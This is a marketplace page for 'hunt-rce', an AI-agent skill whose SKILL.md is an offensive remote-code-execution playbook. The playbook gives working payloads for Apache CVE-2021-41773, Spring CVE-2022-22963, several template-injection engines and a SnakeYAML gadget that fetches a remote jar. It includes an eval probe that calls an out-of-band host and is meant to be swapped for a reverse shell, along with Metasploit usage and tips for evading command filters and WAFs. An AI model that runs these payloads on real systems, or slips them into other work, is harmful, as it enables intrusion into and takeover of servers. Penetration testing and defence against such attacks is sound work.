hunt-rce
RCE hunting - template injection, YAML/XML deserialization, dependency confusion, Kubernetes surfaces, CVE-specific exploits (Apache CVE-2021-41773, Spring…
Skill by Encod3d-Sec
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/encod3d-sec-hunt-rce
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: devops, security
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/hunt-rce
What's inside
- Skill name
hunt-rce- Description
- RCE hunting - template injection, YAML/XML deserialization, dependency confusion, Kubernetes surfaces, CVE-specific exploits (Apache CVE-2021-41773, Spring CVE-2022-22963). OOB-mandatory for blind cases. Wiki-first, FIND schema output.
- License
- MIT
- Instructions
- 153 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Files (1)
- SKILL.md
SKILL.md (first lines)
# Hunt: Remote Code Execution
**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
## Wiki
```
qmd_query "remote code execution command injection template injection deserialization CVE" via wiki-search MCP
```
Hub: [[web-moc]] (live web index). Primary page: [[os-command-injection]]. Payload arsenal: `wiki/payloads/command-injection.md`.
Anchors: [[ssti]], [[insecure-deserialization]].
## Attack surface signals
**Rank before probing.** Not every free-text field is equally likely to reach an interpreter:
- **Config / template editors** - Nomad, CI job specs, notification templates: user text is compiled, not just stored.
- **Import / render / export endpoints** - `?template=`, `?url=`, document generation, PDF/HTML renderers.
- **Admin and management consoles** - richer surface, weaker input handling, often the shortest path.
- **Deserialization sinks** - any endpoint eating a serialized blob (magic bytes, `!!` YAML tags, Java `AC ED`, PHP `O:`).
- **Version-pinned components** - a fingerprinted Apache 2.4.49 / Spring Cloud Function beats blind probing.
URL patterns: `/management-console/*`, `/admin/settings/*`, `/webhook/*`, `/render?template=`, `/import?url=`
Tech stack signals:
| Signal | RCE Vector |
|--------|-----------|
| Nomad config UI editable | Go text/template injection |
| SnakeYAML in classpath | `!!javax.script.ScriptEngineManager` |
| ingress-nginx annotations | Path field regex bypass |
| Spring Boot `*-routing-expression` header | SpEL injection |
| `X-GitHub-Enterprise-Version` | Nomad/collectd/syslog-ng config injection |
## Methodology
0. **Prefer a vetted module over a hand-rolled exploit.** For a known CVE/product, check Metasploit
FIRST: `bash /root/vm.sh "msfconsole -q -x 'search <cve-or-product>; exit'"`. If a module exists,
run it non-interactively (`use <mod>; set RHOSTS <ip>; set LHOST <vpn-ip>; run -z; sessions -l;
exit`) rather than writing bespoke exploit code - faster, more reliable, and the exploit logic
lives in the vetted module. Hand-roll only when no module fits.
1. Map execution contexts: template engines, shell commands, YAML parsers, file paths, package resolution
2. Enumerate admin/management interfaces: `/management-console`, `/admin`, `/_internal`, `/setup`
3. Template injection probe in every config/free-text field:
```
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
```
Look for `49` in response, logs, or OOB DNS callbacks.
3b. **Server-side eval/exec sink (Node/Python/Ruby `cmd`-style param):** an endpoint that returns a
FIXED message/200 for EVERY body may be `eval()`-ing a specific param and swallowing the error.
**Response-diff param-mining MISSES this** (`cmd=test` -> eval error -> same message), so mine with an
actual PAYLOAD + OOB, and test BOTH the query-string AND the body (the sink is often on ONE of them
only). Node example: `curl -sG -X POST --data-urlencode 'cmd=require("child_process").exec("curl http://OOB/x")' TARGET` -> a callback confirms the sink; then swap the payload for a reverse shell. (Seen on a Node/Express box: a `POST /api/<x>?cmd=` **query** param was eval'd server-side while the body/form `cmd` did nothing.)
4. YAML deserialization:
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[!!java.net.URL ["http://YOUR_COLLAB/exploit.jar"]]]
]
```
5. Apache CVE-2021-41773/42013 (Apache 2.4.49/2.4.50):
```bash
# File read
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# RCE (cgi-bin alias required)
curl --path-as-is -X POST \
-d "echo Content-Type: text/plain; echo; id" \
"http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
```
6. Spring Cloud Function SpEL (CVE-2022-22963):
```bash
curl -X POST http://target:8080/functionRouter \
-H "Content-Type: text/plain" \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
--data "x"
```
7. Chain: low-severity misconfig (CSRF, traversal) + RCE primitive = critical
8. **Distill (when confirmed)** a reusable template bypass / new CVE, GENERIC, no client host:
`python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/os-command-injection.md`
**Safe-PoC first.** Every probe above runs `id` (or a bare OOB callback), never a destructive command. Only after a callback or command output confirms the sink do you swap in a reverse shell. Never run a state-changing command (delete, overwrite, service restart) to prove exec - `id` proves it and destroys nothing.
## Template Injection RCE Payloads
```python
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# ERB (Ruby)
<%= `id` %>
# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
```
## Evasion
When a probe is filtered rather than absent, the sink may still be reachable:
- **Command filters:** `$IFS` (or `${IFS}`) for blocked spaces, quote/backslash breaking (`c""url`, `w\get`), `base64 -d | sh`, wildcard globbing (`/???/??t`), `$(...)` / backticks, and env-var indirection.
- **Template keyword filters:** rebuild blocked names via attribute access and concatenation (Jinja `request|attr('application')...`, `'os'` assembled from chars) rather than the literal `os`/`popen`.
- **WAF on the body:** move the payload to the query string (or vice versa) - the eval sink in step 3b frequently lives on only one of them.
Marker discipline (`hunt-core`): use a unique 8+ char canary in reflected/SSTI probes, never `test`, and check the baseline for it before claiming reflection.
## Confirmation gate
**NOT confirmation:**
- a delayed response alone - load or a slow upstream, not proof of `sleep`.
- an error echoing your input - reflection is not execution.
- a `500` / stack trace - a parser choking is not code running.
- `{{7*7}}` returned literally, or a fixed `200` for every body (the eval-swallow case in 3b).
- `49` from `{{7*7}}` on its own - that is template evaluation, not yet an exec primitive.From Encod3d-Sec/TORCH, MIT.
More from Encod3d-Sec/TORCH
- 0.741score
ingest
Encod3d-Sec
Synthesize raw recon/test output into engagement state.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
metasploit
Encod3d-Sec
Drive msfconsole across the workflow - DB-backed recon (db_nmap, auxiliary scanners), version->exploit search/check/run, multi/handler reverse shells…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
campaign-health
Encod3d-Sec
Health check for the bb/pt/ctf workflow driver subsystem - verifies everything is in place so every machine runs the same.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
fuzz
Encod3d-Sec
Adaptive, targeted web fuzzing - deterministic wordlist selection (wl-pick.sh) plus judgment.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
hunt-idor
Encod3d-Sec
IDOR / BOLA hunting - two-account methodology, identifier discovery and UUID leak chaining, the trusted-identifier test, GraphQL node and nested-object IDOR…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
learn
Encod3d-Sec
Post-engagement knowledge harvest AND harness retrospective - after a box/bugbounty/pentest/CTF is completed, first diff how the engagement was EXECUTED…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
hunt-windows
Encod3d-Sec
Local Windows privilege escalation on a STANDALONE / workgroup host, or a local shell on a domain member - foothold to SYSTEM.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
arsenal
Encod3d-Sec
Wiki-first "what do I use" lookup - pick the automated TOOL (wiki/tools/), then the PAYLOAD/technique (wiki/payloads/ + wiki/cheatsheets/), for a…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
coverage
Encod3d-Sec
Show per-asset vuln-class coverage gaps for the active engagement so nothing in scope is skipped.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
delegate
Encod3d-Sec
Autonomous sub-agent hand-off for a fiddly, fully-specified exploit-compile / escalation RUN - the main agent stays on strategy and the board while a cheap…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
hunt-ics
Encod3d-Sec
ICS/SCADA/OT exploitation - Modbus (502), S7comm (102), EtherNet/IP (44818), DNP3, OpenPLC, Node-RED SCADA, PLC/HMI/coil/holding-register attacks.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
redteamlead
Encod3d-Sec
On-demand senior red-team lead advisor.
SkillBFreshness: B★ 335Claude Code +9
Compare and alternatives
Featured in
Signals
- Stars
- 335
- Forks
- 49
- Open issues
- 0
- Last commit (this folder)
- Aug 10, 2026 (2 months ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- MIT
- Repository
- github.com/Encod3d-Sec/TORCH
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from Encod3d-Sec
- 0.741score
hunt-windows
Encod3d-Sec
Local Windows privilege escalation on a STANDALONE / workgroup host, or a local shell on a domain member - foothold to SYSTEM.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
campaign-health
Encod3d-Sec
Health check for the bb/pt/ctf workflow driver subsystem - verifies everything is in place so every machine runs the same.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
hunt-ics
Encod3d-Sec
ICS/SCADA/OT exploitation - Modbus (502), S7comm (102), EtherNet/IP (44818), DNP3, OpenPLC, Node-RED SCADA, PLC/HMI/coil/holding-register attacks.
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
hunt-idor
Encod3d-Sec
IDOR / BOLA hunting - two-account methodology, identifier discovery and UUID leak chaining, the trusted-identifier test, GraphQL node and nested-object IDOR…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
arsenal
Encod3d-Sec
Wiki-first "what do I use" lookup - pick the automated TOOL (wiki/tools/), then the PAYLOAD/technique (wiki/payloads/ + wiki/cheatsheets/), for a…
SkillBFreshness: B★ 335Claude Code +9 - 0.741score
coverage
Encod3d-Sec
Show per-asset vuln-class coverage gaps for the active engagement so nothing in scope is skipped.
SkillBFreshness: B★ 335Claude Code +9
Cite this page
hunt-rce skill. Agent Mart. https://agentmart.dev/skills/encod3d-sec-hunt-rce (last updated 2026-10-24)